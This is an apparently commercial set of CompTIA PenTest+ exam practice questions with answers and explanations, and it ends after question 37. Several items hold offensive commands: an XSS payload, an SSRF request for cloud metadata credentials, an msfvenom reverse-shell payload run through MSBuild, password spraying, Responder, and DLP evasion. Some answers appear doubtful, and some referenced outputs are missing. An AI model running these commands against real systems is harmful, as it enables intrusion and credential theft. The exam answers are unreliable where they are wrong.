CompTIA PenTest+ (PT0-003) Practice Questions with Explanations
Free CompTIA PenTest+ practice questions for the PT0-003 exam. 50 of them, each with the correct answer, a full explanation, and the reason every other option is wrong. CompTIA's intermediate penetration testing certification, covering the full engagement lifecycle across networks, cloud, web applications, IoT and hybrid environments. PT0-003 launched December 2024, adding AI-based attack coverage and expanded cloud and API exploitation.
About the PT0-003 exam
- Engagement management: 13%
- Reconnaissance and enumeration: 21%
- Vulnerability discovery and analysis: 17%
- Attacks and exploits: 35%
- Post-exploitation and reporting: 14%
Up to 90 questions, 165 minutes, passing score 750/900, US$404 per attempt.
Get the full PT0-003 question bank (344 questions) →
PT0-003 practice questions
Question 1: Network Port Scanning Tools
Before starting an assessment, a penetration tester needs to scan a Class B IPv4 network for open ports in a short amount of time. Which of the following is the best tool for this task?
- A. Burp Suite
- B. masscan
- C. Nmap
- D. hping
Show answer and explanation ▾
Correct answer: B
Masscan is specifically designed for rapid large-scale port scanning and can scan entire Class B networks (65,536 addresses) very quickly, making it ideal for this time-constrained task. Nmap is thorough but slower; Burp Suite is a web application proxy, not a network scanner; hping is a packet crafting tool, not optimized for large network scans.
Why the other options are wrong:
- A. Burp Suite is a web application testing tool, not designed for network port scanning.
- C. Nmap is capable but significantly slower than masscan for large-scale rapid scans.
- D. hping is primarily used for packet crafting and testing, not efficient port scanning.
Question 2: Web Application Attacks
During a discussion of a penetration test final report, the consultant shows the following payload used to attack a system: ?/<sCRitP>aLeRt("pwned")</ScriPt> Based on the code, which of the following options represents the attack executed by the tester and the associated countermeasure?
- A. Arbitrary code execution; the affected computer should be placed on a perimeter network
- B. SQL injection attack; should be detected and prevented by a web application firewall
- C. Cross-site request forgery; should be detected and prevented by a firewall
- D. XSS obfuscated; should be prevented by input sanitization
Show answer and explanation ▾
Correct answer: D
The payload uses mixed-case script tags (sCRitP, ScriPt) and JavaScript alert function to create an XSS attack. This case-variation obfuscation technique is designed to bypass simple pattern-matching filters. The attack is a cross-site scripting vulnerability, and the appropriate countermeasure is input sanitization to remove or escape dangerous HTML/JavaScript before processing user input.
Why the other options are wrong:
- A. This is not arbitrary code execution; it's a client-side script injection attack, not system-level code execution, and perimeter networks don't prevent XSS.
- B. This is not SQL injection; SQL injection targets databases, not client-side script execution, though WAFs could help with XSS too.
- C. This is not CSRF; CSRF involves forging requests on behalf of authenticated users, not injecting malicious scripts into pages.
Question 3: Passive Network Analysis
A client warns the assessment team that an ICS application is maintained by the manufacturer. Any tampering of the host could void the enterprise support terms of use. Which of the following techniques would be most effective to validate whether the application encrypts communications in transit?
- A. Utilizing port mirroring on a firewall appliance
- B. Installing packet capture software on the server
- C. Reconfiguring the application to use a proxy
- D. Requesting that certificate pinning be disabled
Show answer and explanation ▾
Correct answer: A
Port mirroring on a firewall appliance allows passive capture of network traffic without directly accessing or modifying the ICS system itself. This non-invasive technique validates encryption in transit without tampering with the host or voiding support agreements.
Why the other options are wrong:
- B. Installing software on the server constitutes tampering and would void support terms.
- C. Reconfiguring the application is a modification that could void support and warranty terms.
- D. Requesting to disable certificate pinning is a modification of the application's security configuration and could void support terms.
Question 4: Vulnerability Scan Triage
A penetration tester reviews a SAST vulnerability scan report. The following vulnerability has been reported as high severity: The tester inspects the source file and finds the variable response is defined as a constant and is not referred to or used in other sections of the code. Which of the following describes how the tester should classify this reported vulnerability?
- A. False negative
- B. False positive
- C. True positive
- D. Low severity
Show answer and explanation ▾
Correct answer: B
A false positive is a vulnerability reported by a scanner that does not actually represent a real security risk. In this case, the SAST tool flagged a command injection vulnerability where response is assigned from user input via innerHTML. However, the tester's analysis reveals that response is defined as a constant and is never used elsewhere in the code, meaning the potentially dangerous value has no impact on the application's execution or security posture. Since the vulnerability cannot actually be exploited or cause harm due to the variable's limited scope and usage, this is a false positive-the scanner incorrectly flagged a non-exploitable code pattern.
Why the other options are wrong:
- A. A false negative would be a real vulnerability that the scanner failed to detect, not a vulnerability that was detected but found to be harmless.
- C. A true positive would be a valid, exploitable vulnerability, but this code presents no actual security risk since the variable is unused.
- D. This is not merely low severity; it is a false positive since the vulnerability cannot actually be exploited in practice.
Question 5: Service Enumeration Analysis
A penetration tester performs a service enumeration process and receives the following result after scanning a server using the Nmap tool: Based on the output, which of the following services provides the best target for launching an attack?
- A. Database
- B. Remote access
- C. Email
- D. File sharing
Show answer and explanation ▾
Correct answer: D
NFS (Network File System) on port 2049/tcp is marked as 'open' and typically operates without strong authentication mechanisms by default. NFS is notoriously vulnerable to unauthorized access, privilege escalation, and data exfiltration when improperly configured. SSH on port 22 is hardened by design, SMTP on port 25 is filtered (not open), and RPCbind on port 111 is less directly exploitable than an exposed file sharing service. An open NFS service represents the most straightforward and high-impact attack vector for gaining unauthorized access to files and system resources.
Why the other options are wrong:
- A. No database service (typically port 3306, 5432, 1433) is shown in the open ports.
- B. SSH (port 22) is marked 'open' but is a hardened remote access service with strong cryptographic protections.
- C. SMTP (port 25) is marked 'filtered', not 'open', making it an inaccessible target.
Question 6: Application Security Testing Tools
A penetration tester is performing a security review of a web application. Which of the following should the tester leverage to identify the presence of vulnerable open-source libraries?
- A. VM
- B. IAST
- C. DAST
- D. SCA
Show answer and explanation ▾
Correct answer: D
Software Composition Analysis (SCA) is specifically designed to identify vulnerable open- source libraries and dependencies within applications. It scans source code and binaries to locate third-party components and checks them against known vulnerability databases to detect security issues in dependencies.
Why the other options are wrong:
- A. VM (Virtual Machine) is an execution environment, not a tool for identifying vulnerable libraries.
- B. IAST (Interactive Application Security Testing) analyzes running applications but is not specialized for open-source library detection.
- C. DAST (Dynamic Application Security Testing) tests running applications but is not optimized for dependency vulnerability identification.
Question 7: Cloud Instance Metadata Attacks
A penetration tester has found a web application that is running on a cloud virtual machine instance. Vulnerability scans show a potential SSRF for the same application URL path with an injectable parameter. Which of the following commands should the tester run to successfully test for secrets exposure exploitabilty?
- A. curl <url>?param=http://169.254.169.254/latest/meta-data/
- B. curl '<url>?param=http://127.0.0.1/etc/passwd'
- C. curl '<url>?param=<script>alert(1}<script>/'
- D. curl <url>?param=http://127.0.0.1/
Show answer and explanation ▾
Correct answer: A
curl <url>?param=http://169.254.169.254/latest/meta- data/ The AWS metadata endpoint at 169.254.169.254/latest/meta-data/ is the standard target for SSRF attacks against cloud instances. This endpoint exposes sensitive information including IAM credentials, instance metadata, and other secrets. By injecting this URL into the vulnerable parameter, the tester can extract cloud-specific secrets and credentials that demonstrate real exploitability of the SSRF vulnerability.
Why the other options are wrong:
- B. 127.0.0.1 targets localhost, not cloud-specific secrets; cloud environments don't expose /etc/passwd in the same way.
- C. This is an XSS payload, not an SSRF exploitation technique.
- D. This URL lacks the metadata path needed to extract actual secrets from the cloud instance.
Question 8: Data Exfiltration Evasion
Which of the following techniques is the best way to avoid detection by data loss prevention tools?
- A. Encoding
- B. Compression
- C. Encryption
- D. Obfuscation
Show answer and explanation ▾
Correct answer: C
Encryption is the most effective technique to avoid detection by data loss prevention (DLP) tools because encrypted data cannot be inspected by signature-based or content-based detection mechanisms. DLP tools rely on analyzing data content, and encryption renders this analysis impossible. Encoding and compression can be decoded, and obfuscation may still be analyzed by advanced DLP systems.
Why the other options are wrong:
- A. Encoding can typically be decoded by DLP tools during inspection.
- B. Compression can be decompressed and analyzed by DLP systems.
- D. Obfuscation may evade simple pattern matching but advanced DLP tools can still detect it.
Question 9: Linux User Enumeration
A penetration tester gains access to a Linux computer system. The tester then attempts to enumerate user accounts, including the directories and user default shell. Which of the following commands should the tester use to enumerate user accounts?
- A. cat /etc/shadow
- B. ls /var/usr
- C. ls /home
- D. cat /etc/passwd
Show answer and explanation ▾
Correct answer: D
The /etc/passwd file contains user account information including usernames, user IDs, home directories, and default shells. The cat command displays this file's contents, providing all the enumeration data requested.
Why the other options are wrong:
- A. /etc/shadow contains password hashes and requires root privileges; it doesn't show shell information and is not the standard enumeration file.
- B. /var/usr is not a standard Linux directory path for user information.
- C. ls /home only shows home directory names, not comprehensive user account details like default shells or UIDs.
Question 10: Vulnerability Prioritization Strategy
A penetration tester runs a vulnerability scan that identifies several issues across numerous customer hosts. The executive report outlines the following information: The client is concerned about the availabilty of its consumer-facing production application. Which of the following hosts should the penetration tester select for additional manual testing?
- A. Server 1
- B. Server 2
- C. Server 3
- D. Server 4
Show answer and explanation ▾
Correct answer: C
The client is specifically concerned about availability of its consumer-facing production application. Server 3 (Perimeter network web server) is the only server that directly supports consumer-facing production functionality, as it serves as the external-facing web server. Despite having only 14 high-severity vulnerabilities compared to other servers, it is the critical asset that could impact customer availability if compromised or exploited. The other servers (development sandbox, back office file transfer, and developer QA) are internal infrastructure that would not directly affect consumer availability.
Why the other options are wrong:
- A. Development sandbox server is internal infrastructure not directly involved in consumer-facing production services.
- B. Back office file transfer server is internal infrastructure used for administrative purposes, not consumer-facing production.
- D. Developer QA server is an internal testing environment, not a consumer-facing production asset.
Question 11: Source Code Secret Scanning
During a penetration test of a web application, the tester gains full access to the application's source code. The application repository includes thousands of code files. Given that the assessment timeline is very short, which of the following approaches would allow the tester to identify hard-coded credentials most effectively?
- A. Run TruffleHog against a local clone of the application.
- B. Scan the live web application using Nikto.
- C. Perform a manual code review of the Git repository.
- D. Use SCA software to scan the application source code.
Show answer and explanation ▾
Correct answer: A
TruffleHog is specifically designed to scan Git repositories for secrets and hard-coded credentials by analyzing commit history and file contents. Given the short assessment timeline and thousands of code files, an automated tool purpose-built for secret detection is far more effective than manual code review. TruffleHog will systematically search through the local repository clone and identify patterns matching common credential formats.
Why the other options are wrong:
- B. Nikto scans live web applications for web vulnerabilities, not source code for embedded credentials.
- C. Manual code review of thousands of files is impractical within a short timeline.
- D. SCA (Software Composition Analysis) tools focus on dependency vulnerabilities and license compliance, not hard-coded credentials.
Question 12: Information Gathering Techniques
While conducting an assessment, a penetration tester identifies the details for several unreleased products announced at a company-wide meeting. Which of the following attacks did the tester most likely use to discover this information?
- A. Eavesdropping
- B. Bluesnarfing
- C. Credential harvesting
- D. SQL injection attack
Show answer and explanation ▾
Correct answer: A
Eavesdropping is the passive or active interception of communications to gather information. The scenario describes a tester discovering details from a company-wide meeting announcement, which is most consistent with overhearing or listening to communications. This is a direct information gathering technique that requires no technical exploitation.
Why the other options are wrong:
- B. Bluesnarfing targets Bluetooth devices specifically, not company meetings or general communications.
- C. Credential harvesting is used to obtain login credentials, not to gather product information.
- D. SQL injection attacks target databases and require network access to vulnerable applications, irrelevant to discovering announced product details.
Question 13: Wireless Network Attacks
A penetration testing team needs to determine whether it is possible to disrupt the wireless communications for PCs deployed in the client's offices. Which of the following techniques should the penetration tester leverage?
- A. Port mirroring
- B. Sidecar scanning
- C. ARP poisoning
- D. Channel scanning
Show answer and explanation ▾
Correct answer: D
Channel scanning is the technique used to determine if wireless communications can be disrupted. It involves monitoring and analyzing wireless channels to identify which frequencies are in use and assess vulnerabilities in wireless signal transmission that could be exploited or disrupted.
Why the other options are wrong:
- A. Port mirroring is a network switch feature for monitoring traffic, not for assessing wireless disruption.
- B. Sidecar scanning relates to wireless packet capture, not specifically for disruption assessment.
- C. ARP poisoning is a layer 2 attack for wired networks, not applicable to wireless communication disruption.
Question 14: Windows Code Execution Methods
A tester plans to perform an attack technique over a compromised host. The tester prepares a payload using the following command: msfvenom p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1 LPORT=10112 -f csharp The tester then takes the shellcode from the msfvenom command and creates a file called evil.xml. Which of the following commands would most likely be used by the tester to continue with the attack on the host?
- A. regsvr32 /s /n /u C:\evil.xml
- B. MSBuild.exe C:\evil.xml
- C. mshta.exe C:\evil.xml
- D. AppInstaller.exe C:\evil.xml
Show answer and explanation ▾
Correct answer: B
MSBuild.exe is a Windows legitimate tool that can execute arbitrary code from XML project files. When shellcode is embedded in a .csproj file structure and executed via MSBuild, it represents a living-off-the-land technique that leverages trusted system binaries. The C# shellcode format from msfvenom is compatible with MSBuild's native code execution capabilities.
Why the other options are wrong:
- A. regsvr32 is designed to register/unregister DLL files, not execute code from XML files.
- C. mshta.exe executes HTML/HTA files, not XML project files.
- D. AppInstaller.exe is for installing MSIX application packages, not for executing embedded shellcode from XML.
Question 15: Post-Exploitation File Searching
During an assessment, a penetration tester obtains a low-privilege shell and then runs the following command: findstr /SIM /C:"pass" *.txt *.cfg *.xml Which of the following is the penetration tester trying to enumerate?
- A. Configuration files
- B. Permissions
- C. Virtual hosts
- D. Secrets
Show answer and explanation ▾
Correct answer: D
The findstr command with the /C:"pass" flag searches for the string 'pass' across .txt, .cfg, and .xml files. This is a classic technique to enumerate secrets such as hardcoded passwords, API keys, and other sensitive credentials stored in configuration and text files.
Why the other options are wrong:
- A. While configuration files are being searched, the goal is not to enumerate the files themselves but their contents for secrets.
- B. Permissions are not determined by searching for the word 'pass' in text files.
- C. Virtual hosts have nothing to do with searching for password strings in local files.
Question 16: Active Directory Kerberos Attacks
During a penetration test, a tester captures information about an SPN account. Which of the following attacks requires this information as a prerequisite to proceed?
- A. Golden Ticket
- B. Kerberoasting
- C. DCShadow
- D. LSASS dumping
Show answer and explanation ▾
Correct answer: B
Kerberoasting is an attack that specifically targets Service Principal Names (SPNs). The attacker requests a Kerberos ticket for an SPN account and then attempts to crack the ticket offline. Knowledge of SPN accounts is an absolute prerequisite to launch this attack, as the attacker must know which service accounts to target.
Why the other options are wrong:
- A. Golden Ticket attacks require knowledge of the krbtgt password hash, not SPN information.
- C. DCShadow is a domain controller impersonation attack that doesn't require SPN capture as a prerequisite.
- D. LSASS dumping requires access to a compromised system, not SPN information.
Question 17: Penetration Test Reporting
Which of the following components should a penetration tester include in an assessment report?
- A. User activities
- B. Customer remediation plan
- C. Key management
- D. Attack narrative
Show answer and explanation ▾
Correct answer: D
An attack narrative provides a detailed, chronological description of the attacks performed, how they were executed, and their impact. This is a core component of professional penetration testing reports that helps clients understand the attack flow and implications. User activities, customer remediation plans, and key management are either client responsibilities or outside typical report scope.
Why the other options are wrong:
- A. User activities during testing are not standard report components.
- B. Customer remediation plan creation is the client's responsibility, not a report component.
- C. Key management details are operational infrastructure concerns, not report content.
Question 18: Risk Assessment Methodologies
Which of the following explains the reason a tester would opt to use DREAD over PTES during the planning phase of a penetration test?
- A. The tester is conducting a web application test.
- B. The tester is assessing a mobile application.
- C. The tester is evaluating a thick client application.
- D. The tester is creating a threat model.
Show answer and explanation ▾
Correct answer: D
DREAD is a threat modeling methodology used to identify and prioritize threats based on Damage, Reproducibility, Exploitability, Affected users, and Discoverability. PTES is a comprehensive penetration testing execution standard. DREAD is specifically chosen during the planning phase when the goal is to create a threat model and understand potential risks before conducting the actual test.
Why the other options are wrong:
- A. Web application testing does not specifically require DREAD over PTES.
- B. Mobile application assessment would use similar methodologies but doesn't distinguish DREAD as the primary reason.
- C. Thick client application testing doesn't specifically mandate DREAD over PTES.
Question 19: Network Packet Crafting
A penetration tester wants to send a specific network packet with custom flags and sequence numbers to a vulnerable target. Which of the following should the tester use?
- A. tcprelay
- B. Bluecrack
- C. Scapy
- D. tcpdump
Show answer and explanation ▾
Correct answer: C
Scapy is a powerful Python library that allows penetration testers to craft, send, and manipulate network packets with custom flags, sequence numbers, and other fields. It provides programmatic control over packet construction at the protocol level, making it ideal for sending specially crafted packets to vulnerable targets.
Why the other options are wrong:
- A. tcprelay is a tool for relaying TCP connections, not for crafting custom packets.
- B. Bluecrack is a Bluetooth cracking tool, not relevant for crafting IP-level network packets.
- D. tcpdump is a packet capture and analysis tool, not for creating and sending custom packets.
Question 20: Vulnerability Scoring Systems
A penetration tester finished a security scan and uncovered numerous vulnerabilities on several hosts. Based on the targets' EPSS and CVSS scores, which of the following targets is the most likely to get attacked?
- A. Target 1: EPSS Score = 0.6 and CVSS Score = 4
- B. Target 2: EPSS Score = 0.3 and CVSS Score = 2
- C. Target 3: EPSS Score = 0.6 and CVSS Score = 1
- D. Target 4: EPSS Score = 0.4 and CVSS Score = 4.5
Show answer and explanation ▾
Correct answer: A
EPSS (Exploit Prediction Scoring System) indicates the probability that a vulnerability will be exploited in the wild, while CVSS measures severity. Target 1 has the highest EPSS score (0.6), meaning it has the highest likelihood of being attacked. While CVSS score is also important for severity, EPSS is the better predictor of actual attack likelihood, making Target 1 the most probable to be attacked.
Why the other options are wrong:
- B. Target 2 has both lower EPSS (0.3) and lower CVSS (2) scores than Target 1.
- C. Target 3 has an equal EPSS to Target 1 but a much lower CVSS score (1), making it less attractive to attackers.
- D. Target 4 has a lower EPSS score (0.4) than Target 1, indicating lower attack probability despite having a higher CVSS score.
Question 21: Reporting Quality Assurance
Which of the following could be used to enhance the quality and reliability of a vulnerability scan report?
- A. Risk analysis
- B. Peer review
- C. Root cause analysis
- D. Client acceptance
Show answer and explanation ▾
Correct answer: B
Peer review is a quality assurance process where independent reviewers examine the vulnerability scan report for accuracy, completeness, and clarity before delivery. This directly enhances both quality and reliability by catching errors and ensuring the report meets professional standards. While risk analysis, root cause analysis, and client acceptance are related to vulnerability management, they don't specifically enhance the scan report quality itself.
Why the other options are wrong:
- A. Risk analysis interprets findings but doesn't directly enhance the technical quality of the scan report.
- C. Root cause analysis addresses underlying causes of vulnerabilities but isn't a report quality mechanism.
- D. Client acceptance is an outcome, not a process that enhances report quality.
Question 22: Windows Post-Exploitation Tools
While performing a penetration testing exercise, a tester executes the following command: PS c:\tools> c:\hacks\PsExec.exe \\server01.comptia.org -accepteula cmd.exe Which of the following best explains what the tester is trying to do?
- A. Test connectivity using PSExec on the server01 using CMD.exe.
- B. Perform a lateral movement attack using PsExec.
- C. Send the PsExec binary file to the server01 using CMD.exe.
- D. Enable CMD.exe on the server01 through PsExec.
Show answer and explanation ▾
Correct answer: B
PsExec is a legitimate Windows administration tool that allows remote command execution on other systems. When used with a remote server name (\server01.comptia.org) and cmd.exe, it enables an attacker to execute commands on that remote system, which is a classic lateral movement technique in penetration testing. The -accepteula flag simply suppresses the EULA prompt.
Why the other options are wrong:
- A. While PsExec does test connectivity, the primary objective here is not just connectivity testing but executing commands remotely.
- C. PsExec doesn't send its binary to the target; it executes commands remotely using existing Windows mechanisms.
- D. PsExec doesn't enable CMD.exe; CMD.exe is already available on Windows systems; it simply executes it remotely.
Question 23: Restricted Environment Breakouts
A penetration tester is evaluating a SCADA system. The tester receives local access to a workstation that is running a single application. While navigating through the application, the tester opens a terminal window and gains access to the underlying operating system. Which of the following attacks is the tester performing?
- A. Kiosk escape
- B. Arbitrary code execution
- C. Process hollowing
- D. Library injection
Show answer and explanation ▾
Correct answer: A
A kiosk escape occurs when an attacker breaks out of a restricted single-application environment to access the underlying operating system. The scenario describes exactly this: the tester was confined to a single application but managed to open a terminal and access the OS directly, which is the definition of a kiosk escape.
Why the other options are wrong:
- B. Arbitrary code execution refers to running unintended code through an application vulnerability, not escaping an application's restrictions.
- C. Process hollowing involves replacing a legitimate process with malicious code, not escaping application restrictions.
- D. Library injection involves loading malicious libraries into a process, not breaking out of application confinement.
Question 24: Denial Of Service Attacks
A penetration tester wants to attack a server, exhausting its resources and making it unavailable to legitimate users. Which of the following attacks would be best to achieve this result?
- A. IP spoofing
- B. TCP hijacking
- C. Port redirection
- D. SYN flooding
Show answer and explanation ▾
Correct answer: D
SYN flooding is a Denial of Service attack that overwhelms a server by sending massive numbers of TCP SYN requests, exhausting server resources and making it unavailable to legitimate users. This directly achieves the stated goal of resource exhaustion.
Why the other options are wrong:
- A. IP spoofing is used to mask the source address of traffic but doesn't inherently exhaust server resources.
- B. TCP hijacking involves taking over an existing connection but doesn't exhaust resources on the scale needed for DoS.
- C. Port redirection redirects traffic to different ports but doesn't cause resource exhaustion or unavailability.
Question 25: Penetration Test Scoping
A penetration tester is developing the rules of engagement for a potential client. Which of the following would most likely be specified in the rules of engagement?
- A. Testing window
- B. Terms of service
- C. Authorization letter
- D. Shared responsibilities
Show answer and explanation ▾
Correct answer: A
The testing window (the timeframe during which testing activities are permitted) is a critical element specified in the rules of engagement document. This defines when the penetration tester can conduct their activities without disrupting business operations. The rules of engagement establish the scope, authorization boundaries, and operational parameters for the assessment.
Why the other options are wrong:
- B. Terms of service are general policies, not specific to rules of engagement for a particular assessment.
- C. An authorization letter is a separate document proving consent, not a component of the rules of engagement document itself.
- D. While responsibilities may be mentioned, shared responsibilities are not typically a primary specification of the rules of engagement.
Question 26: Network Credential Attacks
While performing an internal assessment, a tester uses the following command: crackmapexec smb 192.168.1.0/24 -u user.txt -p Summer123@ Which of the following is the main purpose of the command?
- A. To perform a pass-the-hash attack over multiple endpoints within the internal network
- B. To perform common protocol scanning within the internal network
- C. To perform password spraying on internal systems
- D. To execute a command in multiple endpoints at the same time
Show answer and explanation ▾
Correct answer: C
The crackmapexec command with the syntax 'smb 192.168.1.0/24 -u user.txt -p Summer123@' is performing password spraying across a subnet. It attempts to authenticate to multiple SMB endpoints using a list of usernames with a single password, which is the definition of password spraying-trying one password against many accounts.
Why the other options are wrong:
- A. Pass-the-hash would use the -H flag for NTLM hashes, not plaintext passwords with -p.
- B. Protocol scanning would use tools like nmap, not credential-based authentication attempts.
- D. Command execution would require the -x flag to specify a command to execute.
Question 27: Network Pivoting Techniques
A penetration tester established an initial compromise on a host. The tester wants to pivot to other targets and set up an appropriate relay. The tester needs to enumerate through the compromised host as a relay from the tester's machine. Which of the following commands should the tester use to do this task from the tester's host?
- A. attacker_host$ nmap -sT <target_cidr> | nc -n <compromised_host> 22
- B. attacker_host$ mknod backpipe p attacker_host$ nc -l -p 8000 | 0 <backpipe | nc <target_cidr> 80 | tee backpipe
- C. attacker_host$ nc -nlp 8000 | nc -n <target_cidr> attacker_host$ nmap -sT 127.0.0.1 8000
- D. attacker_host$ proxychains nmap -sT <target_cidr>
Show answer and explanation ▾
Correct answer: D
Proxychains is the standard tool for routing traffic through a compromised host (proxy) to enumerate and attack targets on the internal network. The command 'proxychains nmap -sT <target_cidr>' configures nmap to route all its traffic through the relay host specified in the proxychains configuration file, allowing the attacker to perform network reconnaissance on internal targets from their own machine. This is the proper, established methodology for pivoting through a compromised host.
Why the other options are wrong:
- A. This attempts to pipe nmap output to netcat, which does not establish a proxy relay for subsequent traffic routing.
- B. This creates a named pipe and attempts netcat chaining but the syntax is malformed and does not properly establish a functional relay for nmap enumeration.
- C. This command syntax is broken; it attempts to listen on port 8000 and pipe to netcat, then separately run nmap against localhost:8000, which does not establish proper relay functionality.
Question 28: Wireless Network Assessment Steps
A penetration tester is conducting a wireless security assessment for a client with 2.4GHz and 5GHz access points. The tester places a wireless USB dongle in the laptop to start capturing WPA2 handshakes. Which of the following steps should the tester take next?
- A. Enable monitoring mode using Aircrack-ng.
- B. Use Kismet to automatically place the wireless dongle in monitor mode and collect handshakes.
- C. Run KARMA to break the password.
- D. Research WIGLE.net for potential nearby client access points.
Show answer and explanation ▾
Correct answer: A
After inserting a wireless USB dongle, the next logical step is to enable monitoring mode using Aircrack-ng, which allows the adapter to capture wireless traffic and handshakes. Monitoring mode is a prerequisite for capturing WPA2 handshakes needed for further analysis.
Why the other options are wrong:
- B. While Kismet can automate monitor mode enablement, Aircrack-ng is the standard and more direct tool for this specific task in penetration testing.
- C. KARMA is not a standard wireless security tool and is irrelevant to the capture phase.
- D. WIGLE.net is used for researching previously discovered networks but has no role in capturing handshakes from a specific assessment.
Question 29: Stealthy Reconnaissance Methods
A penetration tester is performing network reconnaissance. The tester wants to gather information about the network without causing detection mechanisms to flag the reconnaissance activities. Which of the following techniques should the tester use?
- A. Sniffing
- B. Banner grabbing
- C. TCP/UDP scanning
- D. Ping sweeps
Show answer and explanation ▾
Correct answer: A
Sniffing is a passive reconnaissance technique that captures network traffic without sending probes or generating suspicious network activity. It observes existing traffic on the network, making it the least likely to trigger detection mechanisms. Banner grabbing, TCP/UDP scanning, and ping sweeps all actively probe the network and generate suspicious traffic patterns.
Why the other options are wrong:
- B. Banner grabbing requires active connection attempts to services, generating detectable traffic
- C. TCP/UDP scanning actively probes ports and generates numerous connection attempts that IDS/IPS systems detect
- D. Ping sweeps send ICMP packets to multiple hosts, creating obvious reconnaissance traffic
Question 30: Bash Scripting Syntax
A penetration tester writes the following script to enumerate a /24 network: The tester executes the script, but it fails with the following error: -bash: syntax error near unexpected token 'ping' Which of the following should the tester do to fix the error?
- A. Add do after line 2.
- B. Replace {1..254} with $(seq 1 254).
- C. Replace bash with zsh.
- D. Replace $i with $[i].
Show answer and explanation ▾
Correct answer: A
A bash for loop requires the 'do' keyword to open the loop body: 'for i in {1..254}; do ... done'. Because the script goes straight from the 'for' line to the 'ping' command, bash reaches an unexpected token where it expected 'do', producing the error '-bash: syntax error near unexpected token `ping''. Adding 'do' after line 2 (either at the end of the for line or on its own line) completes the loop construct and lets the script run.
Why the other options are wrong:
- B. Brace expansion {1..254} works fine in bash; the range is not what triggers the syntax error.
- C. Switching shells does not supply the missing loop keyword - zsh also requires 'do' in a for loop.
- D. $i is the correct variable expansion for concatenating the octet; $[i] would not resolve the missing 'do' error.
Question 31: Network Protocol Abuse
A client recently hired a penetration testing firm to conduct an assessment of their consumer-facing web application. Several days into the assessment, the client's networking team observes a substantial increase in DNS traffic. Which of the following would most likely explain the increase in DNS traffic?
- A. Covert data exfiltration
- B. URL spidering
- C. HTML scrapping
- D. DoS attack
Show answer and explanation ▾
Correct answer: A
A substantial increase in DNS traffic during a penetration test commonly indicates covert data exfiltration using DNS tunneling techniques. Attackers encode stolen data into DNS queries (or responses) to exfiltrate information through the DNS protocol, which is typically allowed through firewalls and harder to detect than other exfiltration methods.
Why the other options are wrong:
- B. URL spidering/crawling generates HTTP traffic, not necessarily a significant increase in DNS traffic.
- C. HTML scraping also generates HTTP traffic patterns, not the characteristic DNS traffic spike.
- D. DoS attacks typically generate traffic on the target service ports, not a notable increase in DNS queries/responses.
Question 32: Post-Engagement Activities
Which of the following activities should be performed to prevent uploaded web shells from being exploited by others?
- A. Remove the persistence mechanisms.
- B. Spin down the infrastructure.
- C. Preserve artifacts.
- D. Perform secure data destruction.
Show answer and explanation ▾
Correct answer: A
Removing persistence mechanisms from uploaded web shells prevents attackers or other threat actors from exploiting the shells left behind after the assessment. This is a critical cleanup step to avoid leaving backdoors that could compromise the client's security. While infrastructure cleanup and data preservation are important, removing persistence directly addresses the security risk posed by the test artifacts.
Why the other options are wrong:
- B. Spinning down infrastructure is part of cleanup but doesn't specifically prevent shell exploitation.
- C. Preserving artifacts is important for documentation but conflicts with preventing exploitation.
- D. Secure data destruction is valuable but doesn't address active persistence mechanisms.
Question 33: Application Security Scanning
A tester performs a vulnerability scan and identifies several outdated libraries used within the customer SaaS product offering. Which of the following types of scans did the tester use to identify the libraries?
- A. IAST
- B. SBOM
- C. DAST
- D. SAST
Show answer and explanation ▾
Correct answer: D
SAST (Static Application Security Testing) analyzes source code and dependencies without executing the application, making it ideal for identifying outdated libraries and components within the codebase. This directly identifies vulnerable library versions in the application.
Why the other options are wrong:
- A. IAST (Interactive AST) analyzes applications during runtime but is more focused on application behavior than library inventory.
- B. SBOM (Software Bill of Materials) is a list of components but not a scanning technique that identifies vulnerabilities.
- C. DAST (Dynamic AST) tests running applications from the outside but is less effective at identifying specific outdated libraries in the codebase.
Question 34: Network Traffic Interception
During a security assessment, a penetration tester uses a tool to capture plaintext log-in credentials on the communication between a user and an authentication system. The tester wants to use this information for further unauthorized access. Which of the following tools is the tester using?
- A. Burp Suite
- B. Wireshark
- C. Zed Attack Proxy
- D. Metasploit
Show answer and explanation ▾
Correct answer: B
Wireshark is a network packet analyzer that captures and displays packet data in real- time, including plaintext credentials transmitted over unencrypted protocols. It can sniff network traffic and extract credentials from captured packets. While Burp Suite and ZAP are web testing tools and Metasploit is an exploitation framework, Wireshark is specifically designed for capturing and analyzing network traffic including credentials.
Why the other options are wrong:
- A. Burp Suite is a web application testing tool, not a packet sniffer
- C. Zed Attack Proxy is a web application security scanner, not a network packet capture tool
- D. Metasploit is an exploitation framework, not designed for credential capture via packet sniffing
Question 35: Open Source Intelligence
A penetration tester is conducting reconnaissance for an upcoming assessment of a large corporate client. The client authorized spear phishing in the rules of engagement. Which of the following should the tester do first when developing the phishing campaign?
- A. Shoulder surfing
- B. Recon-ng
- C. Social media
- D. Password dumps
Show answer and explanation ▾
Correct answer: C
Social media is the first step in developing a phishing campaign as it provides publicly available information about target employees, their roles, interests, and relationships. This information is essential for crafting convincing spear phishing emails that appear legitimate and increase the likelihood of success.
Why the other options are wrong:
- A. Shoulder surfing is a physical social engineering technique, not part of initial phishing campaign development.
- B. Recon-ng is useful but would be secondary to gathering basic target information from social media.
- D. Password dumps would only be relevant after identifying and targeting specific individuals.
Question 36: Wireless Network Assessment
A penetration tester is unable to identify the Wi-Fi SSID on a client's cell phone. Which of the following techniques would be most effective to troubleshoot this issue?
- A. Sidecar scanning
- B. Channel scanning
- C. Stealth scanning
- D. Static analysis scanning
Show answer and explanation ▾
Correct answer: B
Channel scanning involves systematically scanning Wi-Fi channels to detect wireless networks and their SSIDs. When a phone cannot identify an SSID, it may be hidden or the device needs to scan all channels to locate it. This technique actively searches across channels to enumerate available networks.
Why the other options are wrong:
- A. Sidecar scanning refers to using external devices to analyze traffic, not discovering hidden SSIDs
- C. Stealth scanning is about avoiding detection during reconnaissance, not discovering SSIDs
- D. Static analysis scanning examines code or binaries, not wireless networks
Question 37: Internal Network Attacks
A penetration tester needs to collect information transmitted over the network for further steps in an internal assessment. Which of the following would most likely accomplish this goal?
- A. ntlmrelayx.py -t 192.168.1.0/24 -l 1234
- B. nc -tulpn 1234 192.168.1.2
- C. responder.py -I eth0 -wP
- D. crackmapexec smb 192.168.1.0/24 -u "user" -p "pass123"
Show answer and explanation ▾
Correct answer: C
